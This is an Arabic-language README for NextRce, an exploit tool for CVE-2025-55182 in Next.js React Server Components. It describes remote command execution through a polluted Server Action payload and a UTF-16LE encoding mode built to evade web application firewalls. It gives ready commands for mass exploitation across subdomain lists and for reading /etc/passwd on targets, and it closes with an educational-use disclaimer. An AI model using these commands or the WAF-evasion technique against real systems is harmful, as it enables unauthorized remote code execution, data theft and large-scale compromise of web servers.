
أداة استغلال React Shell و Next.js RSC (CVE-2025-55182)
غالبًا ما يتم حظر الحمولات القياسية التي تحتوي على كلمات رئيسية مثل child_process أو execSync بواسطة جدران الحماية لتطبيقات الويب (WAF).
NextRCSWaff.py يستخدم محرك ترميز خاص بتنسيق UTF-16LE (Little Endian). عن طريق ترميز الحمولة الخبيثة بهذا التنسيق المحدد، يتغير تسلسل البايت بالكامل، مما يجعله غير مرئي لمعظم أنظمة WAF المعتمدة على التوقيعات. ومع ذلك، يقوم خادم Next.js (Node.js) بفك الترميز وتنفيذ الأمر بشكل صحيح.
إثبات المفهوم: تُظهر لقطة الشاشة أعلاه حمولة قياسية تم حظرها (أعلى)، متبوعة بتنفيذ RCE ناجح باستخدام NextRCSWaff.py مع العلم --bypass (أسفل).
NextRce هي أداة أمان عالية الأداء متعددة الخيوط مصممة لاكتشاف واستغلال CVE-2025-55182. تستهدف على وجه التحديد تطبيق React Server Components (RSC) داخل بنية App Router في Next.js.
عن طريق التلاعب بعملية التسلسل في Server Actions، تقوم NextRce بحقن حمولة مصممة لتحقيق تنفيذ الأوامر عن بُعد (RCE) على الحالات الضعيفة. تتميز بمحرك اكتشاف ذكي يميز تلقائيًا بين بنية App Router الضعيفة وبنية Pages Router الآمنة القديمة، مما يضمن الكفاءة أثناء الفحوصات الجماعية.
window.__next_f) لتحديد أهداف App Router الضعيفة مقابل مواقع Pages Router القديمة.stdin. يتكامل بسلاسة مع أدوات الاستطلاع مثل subfinder و httpx و gau.ThreadPoolExecutor مدمج يسمح بفحص آلاف النطاقات في وقت واحد مع الحد الأدنى من استهلاك الموارد.يستخدم Next.js App Router تنسيق تسلسل مخصص لـ React Server Components (RSC). توجد الثغرة في منطق إلغاء التسلسل لعناوين Next-Action. عند إرسال كائن مصمم خصيصًا (يُلوث __proto__) إلى نقطة نهاية إجراء خادم (مثل /adfa)، يمكن إجبار المحلل الداخلي على تنفيذ كود Node.js عشوائي عبر child_process.
X-Powered-By: Next.js وهياكل مسارات محددة (/_next/).window.__next_f -> ضعيف (App Router)__NEXT_DATA__ -> آمن (Pages Router)execSync(cmd). يتم ترميز stdout باستخدام base64 وإعادته في حقل digest من استجابة الخطأ الخاصة بالخادم، والذي تقوم NextRce بفك ترميزه وعرضه.# استنساخ المستودع
git clone https://github.com/ynsmroztas/NextRce.git
# الانتقال إلى المجلد
cd NextRce
# تثبيت التبعيات
pip install requests
استخدم هذا السكريبت عندما يبدو الهدف ضعيفًا ولكن يتم حظر الاستغلالات القياسية.
# تفعيل ترميز UTF-16LE باستخدام العلم --bypass
python3 NextRCSWaff.py -u https://target.com -c "whoami" --bypass
مصمم لخطوط أنابيب لينكس. قم بتوجيه قوائم النطاقات الفرعية مباشرة إلى الأداة.
# فحص قياسي
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
# فحص مع تخطي WAF
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 NextRCSWaff.py -c "id" -B
اختبر نقطة نهاية محددة بأمر مخصص باستخدام السكريبت القياسي.
python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
افحص قائمة عناوين URL من ملف مع تزامن عالٍ.
python3 nextrce.py -l targets.txt -c "whoami" -t 100
وجّه حركة المرور عبر Burp Suite أو وكيل آخر للتحليل.
python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
هذه الأداة تم تطويرها للأغراض التعليمية والبحث الأمني فقط. المؤلف (Mitsec) غير مسؤول عن أي استخدام غير قانوني أو ضرر أو وصول غير مصرح به ناتج عن هذه الأداة. احصل دائمًا على إذن صريح من مالك النظام قبل إجراء أي اختبار أمني.
تم تطوير وصيانة NextRce بواسطة Mitsec.
Twitter/X: @ynsmroztas
GitHub: ynsmroztas
| العلم | الوصف | القيمة الافتراضية |
|---|
-u, --url | عنوان URL الهدف الوحيد للفحص | لا شيء |
-l, --list | مسار ملف يحتوي على قائمة عناوين URL | لا شيء |
-c, --cmd | الأمر المطلوب تنفيذه على الخادم | id |
-t, --threads | عدد الخيوط المتزامنة | 30 |
-p, --proxy | عنوان URL لوكيل HTTP (مثل http://127.0.0.1:8080) | لا شيء |
-v, --verbose | تفعيل الإخراج التفصيلي (إظهار المحاولات الفاشلة) | False |
-B, --bypass | (خاص بـ NextRCSWaff.py فقط) تفعيل ترميز UTF-16LE لتخطي WAF | False |